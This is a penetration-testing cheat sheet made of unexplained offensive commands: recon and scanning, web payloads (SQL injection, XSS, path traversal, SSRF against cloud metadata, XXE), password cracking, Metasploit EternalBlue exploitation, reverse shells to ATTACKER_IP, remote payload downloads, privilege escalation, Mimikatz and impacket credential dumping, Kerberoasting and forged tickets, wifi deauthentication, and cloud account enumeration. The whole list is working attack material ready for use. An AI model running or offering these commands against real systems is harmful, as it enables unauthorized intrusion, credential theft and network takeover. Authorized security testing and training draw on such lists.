WHOIS Lookup
whois target.com
whois target.com
dig any target.com
host -a target.com
sublist3r -d target.com
amass enum -d target.com
site:target.com filetype:pdf
intitle:"index of" site:target.com
inurl:admin site:target.com
hostname:target.com
theHarvester -d target.com -b all
nmap -sn 192.168.1.0/24
traceroute target.com
nmap --traceroute target.com
dig axfr @ns1.target.com target.com
nc -v target.com 80
curl -I https://target.com
whatweb target.com
wafw00f target.com
nmap -T4 -F target.com
nmap -p- -T4 target.com
nmap -sV -sC target.com
nmap -O target.com
nmap -A -T4 target.com
nmap -sS target.com
nmap -sU --top-ports 200 target.com
nmap --script vuln target.com
nmap --script smb-vuln* -p 445 target
nmap -oA scan_output target.com
enum4linux -a target
smbclient -L \\\\target
crackmapexec smb target
ftp target # try anonymous login
ssh-audit target
snmpwalk -c public -v1 target
ldapsearch -x -h target -b "dc=domain,dc=com"
rpcclient -U "" target
mysql -h target -u root -p
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
feroxbuster -u http://target.com
ffuf -w wordlist.txt -u http://FUZZ.target.com
ffuf -w params.txt -u "http://target.com/page?FUZZ=val"
nikto -h http://target.com
gospider -s http://target.com -o output
' OR 1=1 --
sqlmap -u "http://target/page?id=1" --dbs
<script>alert(1)</script>
"><img src=x onerror=alert(1)>
?file=../../../../etc/passwd
?file=....//....//etc/passwd
?url=http://127.0.0.1:80
?url=http://169.254.169.254/latest/meta-data/
; ls -la
| whoami
`id`
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
hydra -l admin -P rockyou.txt ssh://target
hydra -l admin -P rockyou.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
hashcat -m 0 hash.txt rockyou.txt
hashcat -m 1000 ntlm.txt rockyou.txt
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt
msfconsole
search eternalblue
search type:exploit platform:windows
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set payload windows/x64/meterpreter/reverse_tcp
show payloads
run
exploit -j # background job
nc -lvnp 4444
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
php -r '$sock=fsockopen("IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
nc -e /bin/bash ATTACKER_IP 4444
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444)"
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
uname -a && id && whoami
cat /etc/os-release
find / -perm -4000 -type f 2>/dev/null
sudo -l
cat /etc/crontab
ls -la /etc/cron.*
find / -writable -type f 2>/dev/null | grep -v proc
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
uname -r # check kernel version
wget http://ATTACKER_IP/file -O /tmp/file
curl http://ATTACKER_IP/file -o /tmp/file
whoami /priv
systeminfo
net localgroup administrators
sc query state= all
tasklist /SVC
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\\Windows"
.\winPEAS.exe
use incognito
list_tokens -u
impersonate_token "DOMAIN\\Administrator"
pth-winexe -U admin%HASH //target cmd
powershell -c "Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\tmp\file"
certutil -urlcache -split -f http://ATTACKER/file file.exe
sysinfo
getuid
getsystem
download /etc/shadow .
upload shell.exe C:\\temp\\
search -f *.txt
run persistence -h
run autoroute -s 10.10.10.0/24
portfwd add -l 3389 -p 3389 -r 10.10.10.5
hashdump
run post/multi/recon/local_exploit_suggester
ssh -L 8080:target:80 user@jump
ssh -D 1080 user@jump # SOCKS proxy
chisel server -p 8000 --reverse
chisel client ATTACKER:8000 R:1080:socks
proxychains nmap -sT -p80,443 internal_target
tcpdump -i eth0 -w capture.pcap
wireshark capture.pcap
arpspoof -i eth0 -t victim gateway
bettercap -iface eth0
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD -w capture wlan0mon
aireplay-ng -0 5 -a BSSID wlan0mon
aircrack-ng -w rockyou.txt capture.cap
reaver -i wlan0mon -b BSSID -vv
bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c All
SharpHound.exe -c All --zipfilename bh_out.zip
Get-NetDomain
Get-NetUser | select samaccountname
Get-NetGroup "Domain Admins" -FullData
Find-LocalAdminAccess
crackmapexec smb DC_IP -u user -p pass --users
crackmapexec smb DC_IP -u user -p pass --shares
crackmapexec smb 192.168.1.0/24 -u user -p pass
ldapsearch -x -H ldap://DC_IP -b "dc=domain,dc=local" "(objectClass=user)"
impacket-GetUserSPNs domain.local/user:pass -dc-ip DC_IP -request
Invoke-Kerberoast -OutputFormat Hashcat | fl
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip DC_IP -format hashcat
impacket-ticketer -nthash HASH -domain-sid SID -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec domain.local/Administrator@target -k -no-pass
impacket-secretsdump domain.local/admin:pass@DC_IP
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
impacket-psexec domain/user:pass@target
impacket-wmiexec domain/user:pass@target
impacket-smbexec domain/user:pass@target
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
aws configure
aws sts get-caller-identity
aws iam get-user
aws iam list-users
aws iam list-attached-user-policies --user-name USER
aws s3 ls
aws s3 ls s3://bucket-name --no-sign-request
aws s3 cp s3://bucket-name/file . --no-sign-request
aws ec2 describe-instances
aws ec2 describe-security-groups
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
pacu # AWS exploitation framework
scout suite --provider aws # multi-cloud auditing
az login
az account show
az ad signed-in-user show
az ad user list --output table
az ad group list --output table
az ad group member list --group "Global Administrators"
az resource list --output table
az vm list --output table
az storage account list --output table
roadrecon gather # Azure AD recon
Invoke-EnumerateAzureBlobs -Base target # MicroBurst
searchsploit apache 2.4
searchsploit -m 42966 # copy exploit to current dir
searchsploit --update
knock target 1234 5678 9012
for port in 1234 5678 9012; do nmap -Pn --host-timeout 201 --max-retries 0 -p $port target; done
python3 -m http.server 8080
python3 -m uploadserver # supports POST uploads
gcc exploit.c -o exploit -m32 # 32-bit
gcc exploit.c -o exploit # 64-bit
cross-compile: i686-linux-gnu-gcc exploit.c -o exploit
cat ~/.bash_history
grep -r "password" /etc/ 2>/dev/null
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "pass" 2>/dev/null
tail -f /var/log/auth.log
grep "Failed password" /var/log/auth.log
ss -tulpn
netstat -ano # Windows
crontab -l && ls /etc/cron*
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
ls /usr/share/wordlists/